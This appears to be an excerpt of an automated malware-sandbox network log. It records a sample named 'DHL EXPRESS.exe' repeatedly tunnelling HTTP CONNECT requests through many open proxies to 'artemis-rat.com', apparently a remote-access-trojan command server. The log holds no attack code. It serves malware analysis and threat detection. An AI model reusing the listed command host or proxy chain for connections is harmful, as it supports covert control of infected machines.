Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
708	192.168.2.8	52126	172.67.182.48	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.812370062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.966902018 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
709	192.168.2.8	52132	172.67.182.22	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.818209887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.972729921 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
710	192.168.2.8	51982	128.199.165.63	33574	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.818687916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
711	192.168.2.8	52052	43.129.228.46	7891	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.823896885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
712	192.168.2.8	52013	37.235.48.19	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.825062990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
713	192.168.2.8	52045	14.103.26.53	8000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.828077078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.143573046 CET	711	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.19.2 Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 39 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.19.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
714	192.168.2.8	52062	8.213.128.90	7779	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.883544922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.495075941 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:36:52.495728970 CET	44	IN	HTTP/1.1 200 OK Content-Type: text/html

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
715	192.168.2.8	52068	203.96.177.211	55005	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.889193058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.754043102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.769556999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.769468069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.769339085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.769112110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.769160986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.768820047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:27.659478903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
716	192.168.2.8	49899	162.214.225.223	49806	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.889808893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.956504107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.956902027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.956799984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.956362963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:24.065661907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:36.081351042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:00.081378937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:48.097086906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
717	192.168.2.8	51983	109.194.22.61	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.889808893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.676785946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
718	192.168.2.8	51985	20.219.118.36	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.890125990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.465432882 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
719	192.168.2.8	52073	45.11.95.165	5034	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.890250921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.325040102 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
720	192.168.2.8	52103	72.210.221.223	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.891422987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
721	192.168.2.8	52174	104.19.138.4	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.891876936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.046287060 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
722	192.168.2.8	52097	212.127.93.185	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.929536104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
723	192.168.2.8	52158	135.148.10.161	3970	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.929692030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.541047096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.300213099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.706578970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.409981966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.097367048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.909698009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.174685955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:14.706491947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
724	192.168.2.8	52102	122.116.150.2	9000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.936706066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
725	192.168.2.8	51910	5.10.249.159	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.936918020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.909537077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.459665060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
726	192.168.2.8	51481	117.160.250.163	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.937035084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.958380938 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 17:36:48 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
